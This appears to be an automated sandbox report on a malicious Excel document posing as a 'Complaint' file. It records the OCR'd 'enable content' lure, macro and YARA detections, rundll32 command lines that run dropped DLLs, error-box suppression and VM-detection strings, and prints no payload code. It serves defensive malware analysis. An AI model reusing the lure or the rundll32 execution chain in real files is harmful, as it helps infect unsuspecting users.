Source: Document image extraction number: 8	Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? m You are using IDS or And

Found Excel 4.0 Macro with suspicious formulas

Source: Complaint-1091191320-02182021.xls

Initial sample: EXEC

Document contains embedded VBA macros

Source: Complaint-1091191320-02182021.xls

OLE indicator, VBA macros: true

Yara signature match

Source: Complaint-1091191320-02182021.xls, type: SAMPLE

Matched rule: SUSP_EnableContent_String_Gen date = 2019-02-12, hash1 = 525ba2c8d35f6972ac8fcec8081ae35f6fe8119500be20a4113900fe57d6a0de, author = Florian Roth, description = Detects suspicious string that asks to enable active content in Office Doc, reference = Internal Research

Classification label

Source: classification engine

Classification label: mal88.expl.evad.winXLS@11/8@3/3

Creates files inside the user directory

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache

Jump to behavior

Creates temporary files

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\{0EEEA97B-6DAB-4BB5-9CD1-5639B4D7F2C3} - OProcSessId.dat

Jump to behavior

Document contains an OLE Workbook stream indicating a Microsoft Excel file

Source: Complaint-1091191320-02182021.xls

OLE indicator, Workbook stream: true

Reads ini files

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Reads software policies

Source: C:\Windows\SysWOW64\rundll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Runs a DLL by calling functions

Source: unknown

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\JDFR.hdfgr,DllRegisterServer

Sample is known by Antivirus

Source: Complaint-1091191320-02182021.xls	Virustotal: Detection: 8%
Source: Complaint-1091191320-02182021.xls	Metadefender: Detection: 13%
Source: Complaint-1091191320-02182021.xls	ReversingLabs: Detection: 37%

Spawns processes

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\JDFR.hdfgr,DllRegisterServer
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\JDFR.hdfgr1,DllRegisterServer
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\JDFR.hdfgr2,DllRegisterServer
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\JDFR.hdfgr3,DllRegisterServer
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\JDFR.hdfgr4,DllRegisterServer
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\JDFR.hdfgr,DllRegisterServer			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\JDFR.hdfgr1,DllRegisterServer			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\JDFR.hdfgr2,DllRegisterServer			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\JDFR.hdfgr3,DllRegisterServer			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\JDFR.hdfgr4,DllRegisterServer			Jump to behavior

Found GUI installer (many successful clicks)

Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Checks if Microsoft Office is installed

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

Jump to behavior

Uses new MSVCR Dlls

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Disables application error messsages (SetErrorMode)

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: rundll32.exe, 0000000B.00000002.294021431.0000000000C40000.00000002.00000001.sdmp, rundll32.exe, 0000000C.00000002.324799063.0000000004CD0000.00000002.00000001.sdmp, rundll32.exe, 0000000D.00000002.316492576.0000000000D40000.00000002.00000001.sdmp, rundll32.exe, 0000000F.00000002.310106337.0000000000B10000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: rundll32.exe, 0000000B.00000002.294021431.0000000000C40000.00000002.00000001.sdmp, rundll32.exe, 0000000C.00000002.324799063.0000000004CD0000.00000002.00000001.sdmp, rundll32.exe, 0000000D.00000002.316492576.0000000000D40000.00000002.00000001.sdmp, rundll32.exe, 0000000F.00000002.310106337.0000000000B10000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: rundll32.exe, 0000000B.00000002.294021431.0000000000C40000.00000002.00000001.sdmp, rundll32.exe, 0000000C.00000002.324799063.0000000004CD0000.00000002.00000001.sdmp, rundll32.exe, 0000000D.00000002.316492576.0000000000D40000.00000002.00000001.sdmp, rundll32.exe, 0000000F.00000002.310106337.0000000000B10000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: rundll32.exe, 0000000B.00000002.294021431.0000000000C40000.00000002.00000001.sdmp, rundll32.exe, 0000000C.00000002.324799063.0000000004CD0000.00000002.00000001.sdmp, rundll32.exe, 0000000D.00000002.316492576.0000000000D40000.00000002.00000001.sdmp, rundll32.exe, 0000000F.00000002.310106337.0000000000B10000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.